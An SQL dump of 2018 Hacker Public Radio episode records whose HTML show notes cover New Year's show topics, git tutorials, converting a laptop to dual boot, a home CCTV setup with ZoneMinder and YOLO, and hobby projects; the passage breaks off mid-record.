(2525,'2018-04-06','2017-2018 New Years Eve show part 3',10932,'Part three of the sixth annual HPR New Year Show.','<h2 id=\"hpr-nye-2017---3\">HPR NYE 2017 - 3</h2>\r\n<ul>\r\n<li><p>How much does it cost to go to the movies?<br />\r\n<a href=\"https://www.slashfilm.com/new-moviepass-prices/\" class=\"uri\">https://www.slashfilm.com/new-moviepass-prices/</a></p></li>\r\n<li><p><a href=\"https://edition.cnn.com/2016/08/23/health/epipen-price-mylan-prescription-drugs-increase/index.html\" class=\"uri\">https://edition.cnn.com/2016/08/23/health/epipen-price-mylan-prescription-drugs-increase/index.html</a></p></li>\r\n<li><p>Military acquisitions</p></li>\r\n<li><p><a href=\"https://time.com/money/4310099/f-35-budget-pay-free-college-student-loans/\" class=\"uri\">https://time.com/money/4310099/f-35-budget-pay-free-college-student-loans/</a></p></li>\r\n<li><p>F35 vs. F18 etc....</p></li>\r\n<li><p>Cost of printing materials</p></li>\r\n<li><p>PiHole &amp; web browser ad blocking</p></li>\r\n<li><p>Pine64 discussion</p></li>\r\n<li><p>Pocket Chip</p></li>\r\n<li><p><a href=\"https://urandom-podcast.info/\" class=\"uri\">https://urandom-podcast.info/</a></p></li>\r\n<li><p>Plumble - <a href=\"https://play.google.com/store/apps/details?id=com.morlunk.mumbleclient.free&amp;hl=en\" class=\"uri\">https://play.google.com/store/apps/details?id=com.morlunk.mumbleclient.free&amp;hl=en</a></p></li>\r\n<li><p>Google Home<br />\r\n<a href=\"https://www.amazon.com/GOOGLEAIY-V1-Google-AIY-Voice/dp/B075SFLWKX/ref=sr_1_1?ie=UTF8&amp;qid=1514748803&amp;sr=8-1&amp;keywords=aiy+voice+kit+google\" class=\"uri\">https://www.amazon.com/GOOGLEAIY-V1-Google-AIY-Voice/dp/B075SFLWKX/ref=sr_1_1?ie=UTF8&amp;qid=1514748803&amp;sr=8-1&amp;keywords=aiy+voice+kit+google</a></p></li>\r\n<li><p>Rpi Google Home kit - <a href=\"https://www.wired.com/story/cardboard-google-home/\" class=\"uri\">https://www.wired.com/story/cardboard-google-home/</a></p></li>\r\n<li><p><a href=\"https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;url=https://www.amazon.com/GOOGLEAIY-V1-Google-AIY-Voice/dp/B075SFLWKX&amp;ved=2ahUKEwjjhb6plpDZAhWo6YMKHYn3DvMQFjAAegQIERAB&amp;usg=AOvVaw1g60WEaYUMjg0bUsrnkaXI\" class=\"uri\">https://www.google.com/url?sa=t&amp;source=web&amp;rct=j&amp;url=https://www.amazon.com/GOOGLEAIY-V1-Google-AIY-Voice/dp/B075SFLWKX&amp;ved=2ahUKEwjjhb6plpDZAhWo6YMKHYn3DvMQFjAAegQIERAB&amp;usg=AOvVaw1g60WEaYUMjg0bUsrnkaXI</a></p></li>\r\n<li><p><a href=\"https://www.cabinfeverexpo.com/\" class=\"uri\">https://www.cabinfeverexpo.com/</a></p></li>\r\n<li><p>TimeZone discussion</p></li>\r\n<li><p>Pinebook images again</p></li>\r\n<li><p>Travelling Tech</p></li>\r\n<li><p>Remix Tablet broken</p></li>\r\n<li><p>Casper provides some dead air musings &amp; tunes :)</p></li>\r\n<li><p>Apple iOS battery shenanigans</p></li>\r\n<li><p>Pokey finally joins us</p></li>\r\n<li><p>Push-To-Talk - <a href=\"https://linuxlugcast.com/wp-content/uploads/2014/02/SkyeHaven_Mumble_How-To.pdf\" class=\"uri\">https://linuxlugcast.com/wp-content/uploads/2014/02/SkyeHaven_Mumble_How-To.pdf</a></p></li>\r\n<li><p>Late-diagnosed autism - Gordon discusses his revelation</p></li>\r\n<li><p>Speaking about Autism, Spectrums, Apologizing, etc. DO NOT OVER APOLOGIZE... sorry aboot that....</p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR new year show 2017',0,0,1),
(2511,'2018-03-19','Response to episode 2496',419,'How I am using the Raspberry Pi script discussed Episode 2496','<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2496\">Dave\'s show</a></li>\r\n<li><a href=\"https://gitlab.com/davmo/what_pi/blob/master/what_pi\">Dave\'s script</a></li>\r\n<li><a href=\"https://www.raspberrypi.org/forums/viewtopic.php?f=28&amp;t=164985\">Raspberry Pi forum page</a></li>\r\n<li><a href=\"https://github.com/raspberrypi/userland\">Raspberry Pi tools GitHub page</a></li>\r\n</ul>\r\n<h2 id=\"command\">Command</h2>\r\n<p>This is written for fish shell</p>\r\n<pre><code>for pi in pi1 pi2 pi3 pi4; cat what_pi &#124; ssh &quot;$pi&quot; bash -; done</code></pre>',300,0,0,'CC-BY-SA','Raspberry Pi, RPi',0,0,1),
(2512,'2018-03-20','Intro to git remote',1590,'All about git remote','<p>\r\nInstantiate a git repo&#58;\r\n</p>\r\n\r\n<pre><code>\r\n$ mkdir alice\r\n$ cd !$\r\n$ git init\r\n</code></pre>\r\n\r\n<p>\r\nAdd a remote&#58;\r\n</p>\r\n\r\n<pre><code>\r\n$ git remote add origin URI_OF_REMOTE\r\n</code></pre>\r\n\r\n<p>\r\nChange a remote&#58;\r\n</p>\r\n\r\n<pre><code>\r\n$ git remote set-url origin NEW_URI\r\n</code></pre>\r\n\r\n<p>\r\nA remote can be a server, it can be a local directory, an NFS share, pretty much whatever you want.\r\n</p>\r\n<p>\r\nIt is a Git convention that the primary remote is called <code>origin</code>. You don&#39;t have to call it that, but it&#39;s pretty common.\r\n</p>\r\n',78,104,0,'CC-BY-SA','git, remote, server',0,0,1),
(2513,'2018-03-21','Why I choose Aperture first',723,'David Whitman encourages you to choose Aperture as the most important setting in setting up your cam','<p>David Whitman encourages you to choose Aperture as the most important setting in setting up your camera.</p>\r\n<p>Understanding Exposure, 3rd Edition by Bryan Peterson - a good book that is great for learning photography. Duck Duck Go can connect you with a place to buy this book.</p>\r\n<p>David\'s cache of BAD Photos mostly of Hunt Dogs (some cute girls with dogs too) <a href=\"https://drive.google.com/open?id=0B0VQmm3RmAmeTVVQdUhuaGVkTVU\" class=\"uri\">https://drive.google.com/open?id=0B0VQmm3RmAmeTVVQdUhuaGVkTVU</a></p>\r\n<ul>\r\n<li>Aperture - <a href=\"https://en.wikipedia.org/wiki/Aperture\" class=\"uri\">https://en.wikipedia.org/wiki/Aperture</a></li>\r\n<li>ISO - <a href=\"https://en.wikipedia.org/wiki/Film_speed\" class=\"uri\">https://en.wikipedia.org/wiki/Film_speed</a></li>\r\n<li>Shutter Speed - <a href=\"https://en.wikipedia.org/wiki/Film_speed\" class=\"uri\">https://en.wikipedia.org/wiki/Film_speed</a></li>\r\n</ul>\r\n<p>Have some fun. Take some photos and do a HPR episode.</p>',209,0,0,'CC-BY-SA','Photography, Cameras, ISO, Aperture, Shutter Speed',0,0,1),
(2514,'2018-03-22','Electronics Calculator Kit',2006,'NYbill talks about building a $16 electronics calculator kit.','<p>\r\nNYbill talks about building a $16 electronics calculator kit.\r\n</p>\r\n<p>\r\nKkmoon DIY Calculator Kit: <a href=\"https://tinyurl.com/yc9z92pc\">https://tinyurl.com/yc9z92pc</a>\r\n</p>\r\n<p>\r\nPics for the episode: <a href=\"https://media.gunmonkeynet.net/u/nybill/collection/electronics-calculator-kit/\">https://media.gunmonkeynet.net/u/nybill/collection/electronics-calculator-kit/</a>\r\n</p>\r\n<p>Just to save anyone from searching for some secret mode on their\r\ncalculators, I misspoke. I mention using my TI calculator in “Degree Mode”.\r\nI meant to say “Normal Mode”. It just happens to say DEG on the screen in tiny\r\nletters. What can I say, I’m easily distra</p>\r\n<p>Oh look at that!</p>\r\n \r\n',235,103,0,'CC-BY-SA','Electronics, Kits, Soldering, DIY',0,0,1),
(2516,'2018-03-26','Intro to git branch',2635,'Intro to git branch','<p>\r\nThese are all the commands covered in this episode. <em>This is not a sequence</em>, it\'s just all the commands in the episode, listed one after another.\r\n</p>\r\n\r\n<p>\r\nGet changes from the remote repo&#58;\r\n</p>\r\n<pre><code>\r\n$ git fetch\r\n</code></pre>\r\n\r\n<p>\r\nSee all branches&#58;\r\n</p>\r\n<pre><code>\r\n$ git branch --all\r\n</code></pre>\r\n\r\n<p>\r\nView a remote branch after you have fetched it&#58;\r\n</p>\r\n<pre><code>\r\n$ git checkout origin/dev\r\n</code></pre>\r\n\r\n<p>\r\nCreate a copy of a fetched remote branch in your local repo&#58;\r\n</p>\r\n<pre><code>\r\n$ git checkout dev\r\n</code></pre>\r\n\r\n<p>\r\nMerge changes from remote origin&#47;master into your local master branch&#58;\r\n</p>\r\n<pre><code>\r\n$ git merge master origin/master\r\n</code></pre>\r\n\r\n<p>\r\nFetch and merge automatically&#58;\r\n</p>\r\n<pre><code>\r\n$ git pull\r\n</code></pre>\r\n\r\n<p>\r\nCreate a new branch, and change to it&#58;\r\n</p>\r\n<pre><code>\r\n$ git checkout -b dev\r\n</code></pre>\r\n\r\n<p>\r\nMerge dev into master&#58;\r\n</p>\r\n<pre><code>\r\n$ git checkout master\r\n$ git merge master dev\r\n</code></pre>\r\n\r\n<p>\r\nMerge master into dev\r\n</p>\r\n<pre><code>\r\n$ git checkout dev\r\n$ git merge dev master\r\n</code></pre>\r\n\r\n<p>\r\nDelete the dev branch&#58;\r\n</p>\r\n<pre><code>\r\n$ git branch -d dev\r\n</code></pre>\r\n',78,104,0,'CC-BY-SA','git, branch, server',0,0,1),
(2518,'2018-03-28','Converting My Laptop to Dual Boot',1440,'Converting a Linux only laptop to dual boot using information from a previous HPR episode.','<h2 id=\"converting-my-laptop-to-dual-boot\">Converting My Laptop to Dual Boot</h2>\r\n<h3 id=\"summary\">Summary</h3>\r\n<p>In this episode I describe how I converted my Linux-only laptop to dual-boot with Windows 10. Specifically, using information from a previous HPR episode.</p>\r\n<h3 id=\"reference\">Reference</h3>\r\n<p>The procedure used in this project drew heavily from the information presented in HPR episode <a href=\"https://hackerpublicradio.org/eps.php?id=2305\">2305</a> by Mongo.</p>\r\n<h3 id=\"target-laptop\">Target Laptop</h3>\r\n<ul>\r\n<li>Lenovo Thinkpad T550</li>\r\n<li>Intel i7-5600U Dual-Core</li>\r\n<li>8GB RAM</li>\r\n<li>256GB SSD</li>\r\n</ul>\r\n<p>Laptop was purchased in Jan 2016 as a factory refurb unit from an Ebay seller. The model was about 1 year old at the time. As soon as I got it, I summarily removed any trace of Windows, with prejudice, and installed Linux.</p>\r\n<h3 id=\"the-problem\">The Problem</h3>\r\n<p>I am needing to run some Windows software that doesn\'t work in either Wine or a virtual machine environment. Specifically Autodesk Fusion 360.</p>\r\n<h3 id=\"some-challenges\">Some Challenges</h3>\r\n<ul>\r\n<li><p>No longer have Windows install media. I was able to download a Lenovo recovery USB image.</p>\r\n<p><a href=\"https://support.lenovo.com/us/en/solutions/ht103653\" class=\"uri\">https://support.lenovo.com/us/en/solutions/ht103653</a></p></li>\r\n<li><p>I didn\'t think that a 256GB drive would be big enough for both Linux and Windows. I purchased a 512GB SSD drive.</p></li>\r\n<li><p>I was happy with my Xubuntu setup and configuration and didn\'t want to have to start all over on that. I hoped that restoring my home directory would take care of that.</p></li>\r\n</ul>\r\n<h3 id=\"the-procedure\">The Procedure</h3>\r\n<ol type=\"1\">\r\n<li><p>Backed up my home directory, just in case.</p></li>\r\n<li><p>Replaced the hard drive.</p></li>\r\n<li><p>Tried to boot from Lenovo Windows thumb drive.</p></li>\r\n<li><p>Found that the BIOS was set to legacy mode, so reset BIOS to factory.</p></li>\r\n<li><p>Told the installer to use the entire drive.</p></li>\r\n<li><p>Went through the entire Windows install and update process.</p></li>\r\n<li><p>Used the instructions provided by Mongo to resize Windows filesystem size.</p></li>\r\n<li><p>Used the instructions provided by Mongo to turn of fast boot.</p></li>\r\n<li><p>Used the instructions provided by Mongo to turn of Secure Boot in BIOS.</p></li>\r\n<li><p>Booted from Xubuntu 16.04 thumb drive.</p></li>\r\n<li><p>Did Xubuntu install as normal, choosing the install type of installing along side Windows Boot Manager.</p></li>\r\n<li><p>Installed all of the updates.</p></li>\r\n<li><p>Mounted the old hard drive with a USB drive enclosure, which was a bit of a challenge because that drive was encrypted. The drive has 2 partitions. A small boot partition and then a large LUKS encrypted partition.</p>\r\n<p>This is a procedure that can be used to mount such a partition.</p>\r\n<ul>\r\n<li><p>First you must decrypt the partition and map it to a device. This can be done with the following command (assuming the partition mount point is /dev/sdb2):</p>\r\n<pre><code>cryptsetup luksOpen /dev/sdb2 cryptdrive</code></pre>\r\n<p>This command will map the partition to the following device:</p>\r\n<pre><code>/dev/mapper/cryptdrive</code></pre></li>\r\n<li><p>Normally you could then mount the filesystem as follows:</p>\r\n<pre><code>mount /dev/mapper/cryptdrive /mnt</code></pre></li>\r\n<li><p>However, in this case the encrypted filesystem is actually an LVM volume that contains two volume groups that made up the partitions of the previous Linux install, so you can\'t directly mount it.</p></li>\r\n<li><p>I had to first install the LVM tools, which had not been installed by default.</p>\r\n<pre><code>apt-get install lvm</code></pre></li>\r\n<li><p>Then I had to issue the following command to activate the LVM volume groups.</p>\r\n<pre><code>vgchange -ay</code></pre>\r\n<p>That resulted in two more devices being created.</p>\r\n<pre><code>/dev/xubuntu-vg/swap\r\n/dev/xubuntu-vg/root</code></pre></li>\r\n<li><p>I could then finally mount the old root filesystem with:</p>\r\n<pre><code>mount /dev/xubuntu-vg/root /mnt</code></pre></li>\r\n</ul></li>\r\n<li><p>Copied by entire home directory from the old hard drive to the new install.</p>\r\n<pre><code>cd /home\r\ncp -rp /mnt/home/username .</code></pre></li>\r\n<li><p>Rebooted computer and Xubuntu came up will all of my desktop settings intact. Just need to install non-default packages.</p></li>\r\n</ol>\r\n<h3 id=\"result\">Result</h3>\r\n<p>This ended up being a totally successful process. The computer is now dual-boot. It boots into Xubuntu by default, but you can choose Windows. Xubuntu system is mostly restored back to the way it was.</p>\r\n',334,0,1,'CC-BY-SA','Linux, Windows, Dual Boot, Laptop, Lenovo, Xubuntu',0,0,1),
(2517,'2018-03-27','DIY CCTV Security System',940,'I go over my Home CCTV setup','<h2 id=\"cctv-security-system\">CCTV Security System</h2>\r\n<ul>\r\n<li>$80 Reolink IP PoE Security Camera 4MP Super HD 2560x1440 with SD Card &amp; Audio Outdoor Indoor Bullet IR Night Vision Motion Detection RLC-410S</li>\r\n<li>65$ RLC-410 ( No SD CARD )</li>\r\n<li>$150 Linksys Business LGS116P 16-Port Desktop Gigabit Ethernet PoE+ Unmanaged Network Switch I Metal Enclosure $150</li>\r\n<li>Ispy to start</li>\r\n<li><a href=\"https://forums.zoneminder.com/viewtopic.php?f=36&amp;t=26906\" class=\"uri\">https://forums.zoneminder.com/viewtopic.php?f=36&amp;t=26906</a> 115 lines of bash</li>\r\n<li>When event ends on ZM yolo is run on a random 10 images for that event (Person Dog Cat Car)</li>\r\n<li>if an object is detected we look to see if two Android phones via MAC on network</li>\r\n<li>if they are on the network it means somebody is home so events are throttled to 1/1hr max</li>\r\n<li>if nobody is home then original image/object detected from event is sent to email</li>\r\n<li>zones</li>\r\n<li>zones preclusion</li>\r\n<li>Video <a href=\"https://rmccurdy.com/scripts/videos/rmccurdy_com/ZoneMinder_Yolo_Yolov2_Darknet_Script_Plugin.mp4\" class=\"uri\">https://rmccurdy.com/scripts/videos/rmccurdy_com/ZoneMinder_Yolo_Yolov2_Darknet_Script_Plugin.mp4</a></li>\r\n</ul>\r\n<h3 id=\"issues\">Issues:</h3>\r\n<ul>\r\n<li>rain, spiderwebs, shadows, Car lights (preclusion zones)</li>\r\n<li>full motion capture is -6hrs 16gig</li>\r\n<li>smearing ( lower FPS on cam and make sure ZM has higher framerate then the cam make sure not to use Source Type:ffmpeg and use remote or try both)</li>\r\n<li><code>journalctl -f -t DARKNET.service</code> (shows nothing...@#%ing systemd)</li>\r\n<li>night time</li>\r\n</ul>\r\n<h2 id=\"more-notes\">More Notes:</h2>\r\n<p>Start with one zone at a time and raise/test sensitive KISS...don\'t setup like 4 zones and expect to trouble shoot anything. I used my Android to do a lot of tweaking. I also want to sort out &quot;night&quot; mode config so after night mode kicks in a different config is automatically applied.</p>\r\n<p>Use low quality for motion detection and drop frame rate of cam to lower than max of ZM for little to no smearing and I also set &quot;Alarm Frame Count to 2&quot; and &quot;overload ignore frame count to 4&quot; but I think it\'s more about Alarm Frame Count..I can\'t be sure..</p>\r\n<p>Explanation of overload ignore frame count<br />\r\nReport this post Quote<br />\r\nPost by bb99 » Thu May 10, 2012 5:22 pm</p>\r\n<p>For sudden changes to the environment, no better tool then Overload Frame Ignore Count. Your fps determines these settings but at 10 fps with Overload Frame Ignore Count set to 4, it only ignores .4 seconds. In other words if a drastic change to the lighting (such as a car with headlights on in darkness) passes within the monitors view it will ignore the number of frames you specify before processing for motion detection.</p>\r\n<h3 id=\"alarm-frame-count\">Alarm Frame Count</h3>\r\n<p>This option allows you to specify how many consecutive alarm frames must occur before an alarm event is generated. The usual, and default, value is 1 which implies that any alarm frame will cause or participate in an event. You can enter any value up to 16 here to eliminate bogus events caused perhaps by screen flickers or other transients. Values over 3 or 4 are unlikely to be useful however. Please note that if you have statistics recording enabled then currently statistics are not recorded for the first ‘Alarm Frame Count’-1 frames of an event. So if you set this value to 5 then the first 4 frames will be missing statistics whereas the more usual value of 1 will ensure that all alarm frames have statistics recorded.</p>\r\n<p><a href=\"https://forums.zoneminder.com/viewtopic.php?f=36&amp;t=26222\" class=\"uri\">https://forums.zoneminder.com/viewtopic.php?f=36&amp;t=26222</a></p>\r\n<p>Windows software to get basic idea ( install face plugin )<br />\r\n<a href=\"https://www.ispyconnect.com/plugins.aspx\" class=\"uri\">https://www.ispyconnect.com/plugins.aspx</a></p>\r\n<h2 id=\"videos\">Videos</h2>\r\n<ul>\r\n<li><a href=\"https://www.reddit.com/r/DIY/comments/713eka/heres_how_to_build_your_own_smart_security_camera/\" class=\"uri\">https://www.reddit.com/r/DIY/comments/713eka/heres_how_to_build_your_own_smart_security_camera/</a></li>\r\n<li><a href=\"https://www.hackster.io/hackerhouse/raspberry-pi-motion-tracking-gun-turret-77fb0b\" class=\"uri\">https://www.hackster.io/hackerhouse/raspberry-pi-motion-tracking-gun-turret-77fb0b</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=QfNvhPx5Px8\" class=\"uri\">https://www.youtube.com/watch?v=QfNvhPx5Px8</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=4eIBisqx9_g&amp;t=11m10s\" class=\"uri\">https://www.youtube.com/watch?v=4eIBisqx9_g&amp;t=11m10s</a></li>\r\n</ul>\r\n<h2 id=\"eazy-getting-started\">eazy getting started</h2>\r\n<ul>\r\n<li><a href=\"https://pjreddie.com/darknet/yolo/#small\" class=\"uri\">https://pjreddie.com/darknet/yolo/#small</a></li>\r\n</ul>\r\n<h3 id=\"getting-started-with-gpu\">getting started with GPU</h3>\r\n<p>you need 4gig+ GPU and new nvidia or old GCC4.9 /GCC4_NEEDED_FOR_DARKNET$ ls cpp-4.9_4.9.2-10_amd64.deb gcc-4.9_4.9.2-10_amd64.deb libasan1_4.9.2-10_amd64.deb libcloog-isl-dev_0.18.2-1+b2_amd64.deb libisl10_0.12.2-2_amd64.deb g++-4.9_4.9.2-10_amd64.deb gcc-4.9-base_4.9.2-10_amd64.deb libcloog-isl4_0.18.2-1+b2_amd64.deb libgcc-4.9-dev_4.9.2-10_amd64.deb libstdc++-4.9-dev_4.9.2-10_amd64.deb https://github.com/dasGringuen/debian9-install</p>\r\n<h3 id=\"gpu-memory-talk\">GPU memory talk</h3>\r\n<p><a href=\"https://groups.google.com/forum/#!msg/darknet/ZRAEvMmKzFc/iVZgibJiJQAJ\" class=\"uri\">https://groups.google.com/forum/#!msg/darknet/ZRAEvMmKzFc/iVZgibJiJQAJ</a></p>\r\n<h3 id=\"trying-to-gpu-prep-..\">trying to GPU prep ..</h3>\r\n<pre><code>apt-get remove --purge nvidia-cuda-toolkit libcudnn*\r\ndpkg -i libcudnn7_7.0.5.15-1+cuda9.1_amd64.deb\r\ndpkg -i libcudnn7-dev_7.0.5.15-1+cuda9.1_amd64.deb\r\ndpkg -i cuda-repo-ubuntu1704-9-1-local_9.1.85-1_amd64\r\n\r\nsudo dpkg -i cuda-repo-ubuntu1704-9-1-local_9.1.85-1_amd64.deb\r\nsudo apt-key add /var/cuda-repo-9-1-local/7fa2af80.pub\r\nsudo apt-get update\r\nsudo apt-get install cuda\r\n\r\napt install libopencv-dev</code></pre>\r\n<h3 id=\"more-code-references\">more code/ references</h3>\r\n<ul>\r\n<li><a href=\"https://machinethink.net/blog/object-detection-with-yolo/\" class=\"uri\">https://machinethink.net/blog/object-detection-with-yolo/</a></li>\r\n<li><a href=\"https://ozone.network/apidocs/starter__example_8cpp_source.html\" class=\"uri\">https://ozone.network/apidocs/starter__example_8cpp_source.html</a></li>\r\n</ul>\r\n<h3 id=\"yolov2-training\">yolov2 training</h3>\r\n<ul>\r\n<li><a href=\"https://www.yuthon.com/2016/12/03/Train-YOLOv2-on-my-own-dataset/\" class=\"uri\">https://www.yuthon.com/2016/12/03/Train-YOLOv2-on-my-own-dataset/</a></li>\r\n</ul>\r\n<h3 id=\"dump-reolink-using-gpu-nvidia\">dump reolink using GPU nvidia</h3>\r\n<pre><code>ffmpeg -c:v h264_vdpau -rtsp_transport tcp -i &quot;rtsp://admin:@25.0.0.238/h264Preview_01_main&quot; -f segment -segment_time 60 -segment_format mp4  -reset_timestamps 1 -strftime 1 -c copy -map 0 dauphine-%Y%m%d-%H%M%S.mp4\r\n\r\nffmpeg -hwaccel vdpau -i rtsp://admin:@25.0.0.238/h264Preview_01_main -an -f rawvideo -y /dev/null</code></pre>\r\n<h3 id=\"complicated-zoneminder-plugins-and-bits-of-code\">complicated zoneminder plugins and bits of code :(</h3>\r\n<ul>\r\n<li><a href=\"https://gist.github.com/pliablepixels/34b484cca1c23ae9493c5d2e57f0bde8\" class=\"uri\">https://gist.github.com/pliablepixels/34b484cca1c23ae9493c5d2e57f0bde8</a></li>\r\n<li><a href=\"https://forums.zoneminder.com/viewtopic.php?f=36&amp;t=26222\" class=\"uri\">https://forums.zoneminder.com/viewtopic.php?f=36&amp;t=26222</a></li>\r\n<li><a href=\"https://through-the-interface.typepad.com/through_the_interface/2012/09/creating-a-face-recognising-security-cam-with-a-raspberry-pi-part-1.html\" class=\"uri\">https://through-the-interface.typepad.com/through_the_interface/2012/09/creating-a-face-recognising-security-cam-with-a-raspberry-pi-part-1.html</a></li>\r\n</ul>\r\n<h3 id=\"cheap-cams-720p-max\">cheap cams 720p max</h3>\r\n<ul>\r\n<li><a href=\"https://www.zmododirect.com/\" class=\"uri\">https://www.zmododirect.com/</a></li>\r\n</ul>\r\n<h3 id=\"save-as-video\">Save as video</h3>\r\n<p>By default ZoneMinder saves events as a sequence of images. It is however possible to save an event as a video file. Caution is advised when converting events to video as it is very strenuous on the ZoneMinder machine, however once you have converted an event it can be viewed/downloaded any time without additional stress on the server.</p>\r\n<p>First, make sure you have <code>OPT_FFMPEG</code> under Options -&gt; Images set to yes (checked).</p>\r\n<p>If necessary, set the proper full path for the ffmpeg executable in <code>PATH_FFMPEG</code> (ex.: <code>/usr/bin/ffmpeg</code>)</p>\r\n<p>Open up the default view for an event and Click the video link located in the top left corner</p>\r\n<p>Choose a video export file type and click generate.</p>\r\n<p>Download the video to your machine. If video files have already been generated you will see them listed at the bottom of the page.</p>\r\n<p>When an event gets a video file encoded for it you can choose to automatically include that event with any future exports. For a more detailed explanation on how to select and export events investigate How to export download and view events</p>\r\n',36,0,0,'CC-BY-SA','CCTV,Security Camera System,YOLO,Object Recognition',0,0,1),
(2535,'2018-04-20','2017-2018 New Years Eve show part 4',12357,'Part four of the sixth annual HPR New Year Show.','<h2 id=\"hpr-nye-2017---4\">HPR NYE 2017 - 4</h2>\r\n<ul>\r\n<li><p>Ken Fallon is testing booger sized components<br />\r\n<a href=\"https://learn.sparkfun.com/tutorials/polarity/diode-and-led-polarity\" class=\"uri\">https://learn.sparkfun.com/tutorials/polarity/diode-and-led-polarity</a></p></li>\r\n<li><p>urandom-podcast.info mentioned - AGAIN</p></li>\r\n<li>Pi &amp; SBC discussion</li>\r\n<li>Google &amp; Amazon privacy concerns</li>\r\n<li>Mrs Xoxe joins in</li>\r\n<li>We speak about Autism some more, Death of Salesman. Selling yourself to get interviews. Unemployment. Those who are resistant to change are doomed to perish</li>\r\n<li>Babylon Berlin, BFFs, Black Mirror</li>\r\n<li>Senior citizens &amp; technology</li>\r\n<li>Keeping current with software &amp; O/S\'s</li>\r\n<li><p><a href=\"https://www.youtube.com/results?search_query=the+mighty+boosh+the+moon+\" class=\"uri\">https://www.youtube.com/results?search_query=the+mighty+boosh+the+moon+</a></p></li>\r\n<li>Robot vaccuum sweepers</li>\r\n<li>Children make amazing pets</li>\r\n<li><p>RoomBAAAS</p></li>\r\n<li>Joe Ress asks for Linux 2018 predictions</li>\r\n<li>Is the traditional PC market fading?</li>\r\n<li><p>Linux &amp; mobile devices<br />\r\n<a href=\"https://ubports.com/\" class=\"uri\">https://ubports.com/</a></p></li>\r\n<li>What will it take for an opensource mobile device to gain market share?</li>\r\n<li><p>Librem5 - <a href=\"https://puri.sm/shop/librem-5/\" class=\"uri\">https://puri.sm/shop/librem-5/</a></p></li>\r\n<li><p>More opensource mobile device discussion</p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR new year show 2017',0,0,1),
(2519,'2018-03-29','the_remora Builds a character in Edge of the Empire',1330,'I Sit down and Build a Character for Edge of the Empire using Oggdudes Character Generator','<ul>\r\n<li><p>Link to the <a href=\"https://db4sgowjqfwig.cloudfront.net/campaigns/155068/assets/835617/KombarConall-Human-BountyHunter.pdf?1520193790\">Character Sheet</a></p></li>\r\n<li>Link to Edge of the Empire by Fantasy Flight Games: <a href=\"https://www.fantasyflightgames.com/en/products/star-wars-edge-of-the-empire/\" class=\"uri\">https://www.fantasyflightgames.com/en/products/star-wars-edge-of-the-empire/</a></li>\r\n<li><p>Link to the Tool I used to Build this character: <a href=\"https://www.legendsofthegalaxy.com/Oggdude/\" class=\"uri\">https://www.legendsofthegalaxy.com/Oggdude/</a>. I recommend using the web installer.</p></li>\r\n<li><p>Unofficial Organized play similar to D&amp;D Adventurers League: <a href=\"https://www.legendsofthegalaxy.com/\" class=\"uri\">https://www.legendsofthegalaxy.com/</a></p></li>\r\n</ul>\r\n<p>Thanks and sorry the Audio was so bad, I was forced to use Bluetooth headphones because Audacity would not take audio from my USB headset.</p>',363,95,1,'CC-BY-SA','Roleplaying',0,0,1),
(2545,'2018-05-04','2017-2018 New Years Eve show part 5',8433,'Part five of the sixth annual HPR New Year Show.','<h2 id=\"hpr-nye-2017---5\">HPR NYE 2017 - 5</h2>\r\n<ul>\r\n<li><p>Guitar Talk, Les Pauls, Strats, etc. SG, Flying V, Squire ... etc.</p></li>\r\n<li><p>Social media discussion, Twitter, Mastodon, G+</p></li>\r\n<li><p>Opensource licenses</p></li>\r\n<li><p>More autism discussion</p></li>\r\n<li><p>New drugs that make you live longer</p></li>\r\n<li><p>notalion participated in <a href=\"https://www.holidayhackchallenge.com/2017/\" class=\"uri\">https://www.holidayhackchallenge.com/2017/</a></p></li>\r\n</ul>\r\n',159,121,1,'CC-BY-SA','HPR new year show 2017',0,0,1),
(2555,'2018-05-18','2017-2018 New Years Eve show part 6',11722,'Part six of the sixth annual HPR New Year Show.','<h2 id=\"hpr-nye-2017---6\">HPR NYE 2017 - 6</h2>\r\n<ul>\r\n<li><p>Using Ubuntu with snaps or just using Debian for a home server</p></li>\r\n<li><p>Building a home firewall</p></li>\r\n<li><p>What is the best firewall distro</p></li>\r\n<li><p>Maybe just learn ip tables</p></li>\r\n<li><p>Fun with virtualization</p></li>\r\n<li><p><a href=\"https://riscv.org/\" class=\"uri\">https://riscv.org/</a><br />\r\nA completely Free Hardware CPU that is gaining press</p></li>\r\n<li><p><a href=\"https://www.xilinx.com/products/silicon-devices/soc/zynq-7000.html\" class=\"uri\">https://www.xilinx.com/products/silicon-devices/soc/zynq-7000.html</a><br />\r\nAn ARM processor with built-in FPGA</p></li>\r\n<li><p>Western Digital moving to RISC-V:<br />\r\n<a href=\"https://www.forbes.com/sites/tiriasresearch/2017/12/06/western-digital-gives-a-billion-unit-boost-to-open-source-risc-v-cpu/\" class=\"uri\">https://www.forbes.com/sites/tiriasresearch/2017/12/06/western-digital-gives-a-billion-unit-boost-to-open-source-risc-v-cpu/</a></p></li>\r\n<li><p><a href=\"https://www.youtube.com/watch?v=ATZls4lbwmM&amp;t=20m27s\" class=\"uri\">https://www.youtube.com/watch?v=ATZls4lbwmM&amp;t=20m27s</a><br />\r\nWD CEO announces their ambition to switch fully to RISC-V</p></li>\r\n<li><p><a href=\"https://www.heropunch.io/\" class=\"uri\">https://www.heropunch.io/</a><br />\r\nCreating free hardware for decentralized communications, mobile applications and mesh networks</p></li>\r\n<li><p><a href=\"https://www.scuttlebutt.nz/\" class=\"uri\">https://www.scuttlebutt.nz/</a><br />\r\nSecure Scuttlebutt, or SSB, is built for intermittent networks and drop points</p></li>\r\n<li><p>A little bit about <a href=\"https://ipfs.io/\" class=\"uri\">https://ipfs.io/</a></p></li>\r\n<li><p>Content-Addressable Networks are important if you\'re in intermittent or high-latency mesh networks</p></li>\r\n<li><p>And in passing: <a href=\"https://twister.net.co/\" class=\"uri\">https://twister.net.co/</a></p></li>\r\n<li><p>BitTorrent + blockchain + DHT social networking, not entirely dissimilar to SSB<br />\r\n<a href=\"https://www.bitmessage.org/\" class=\"uri\">https://www.bitmessage.org/</a></p></li>\r\n<li><p>clacke was wrong, it doesn\'t store messages in a blockchain</p></li>\r\n<li>3D printers: <a href=\"https://podnutz.com/category/themakerz/\" class=\"uri\">https://podnutz.com/category/themakerz/</a>\r\n<ul>\r\n<li>podcast <a 